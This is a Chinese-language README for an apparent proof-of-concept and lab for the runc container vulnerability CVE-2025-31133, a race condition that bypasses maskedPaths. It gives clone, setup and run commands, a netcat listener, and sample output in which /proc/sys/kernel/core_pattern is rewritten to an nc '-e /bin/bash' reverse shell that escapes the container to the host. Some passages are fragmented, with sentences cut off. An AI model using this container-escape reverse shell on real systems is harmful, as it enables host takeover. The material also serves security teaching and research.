针对runc中的安全漏洞CVE-2025-31133的验证概念演示和学习环境,该漏洞通过竞态条件绕过了maskedPaths保护机制。maskedPaths旨在阻止容器访问敏感的主机文件系统路径。
https://github.com/user-attachments/assets/d7b4ea43-6cab-4ac5-bb07-08bc46479910
👉 本仓库是Black Hat培训中教授的研究思维和技术的实际示例:
该利用利用了一个竞态条件,其中:
maskedPaths以保护敏感文件(例如/proc/sys/kernel/core_pattern)/dev/null)本仓库仅用于教育目的。
git clone https://github.com/C-h4ck-0/Learn-about-cve-2025-31133-poc.git
cd Learn-about-cve-2025-31133-poc
lab-setup.sh脚本将:
chmod +x lab-setup.sh
./lab-setup.sh
检查已安装的易受攻击runc版本:
runc --version
您应该看到版本1.2.0或类似。
nc -lnvp <端口>
chmod +x cve-2025-31133-exploit.sh
./cve-2025-31133-exploit.sh
成功时,您应该看到:
[*] Compiling race condition exploit binary...
[*] Starting exploit attempts...
[*] Target: /proc/sys/kernel/core_pattern
[*] Backing up /proc/sys/kernel/core_pattern...
[*] Backup created at /tmp/core_pattern.bak
[*] Current content of target:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
====================================================
[*] Testing delay: 5 microseconds
====================================================
X..
[+] ========================================
[+] SUCCESS! Exploit succeeded.
[+] ========================================
[+] Original content:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
------------------------------------------------
[+] Modified content:
|/bin/nc.traditional <ip-address> <port> -e /bin/bash
------------------------------------------------
./exploit.sh: line 148: 7068 Segmentation fault (core dumped) sleep 5
[*] Restoring original content...
[*] Restoration complete.
应该会向您的监听器建立反弹Shell连接。
要防范此漏洞:
core_pattern本项目仅供教育目的。请负责任且道德地使用。
记住:始终负责任地使用安全研究工具,并且仅在您拥有或明确获得许可的环境中进行测试。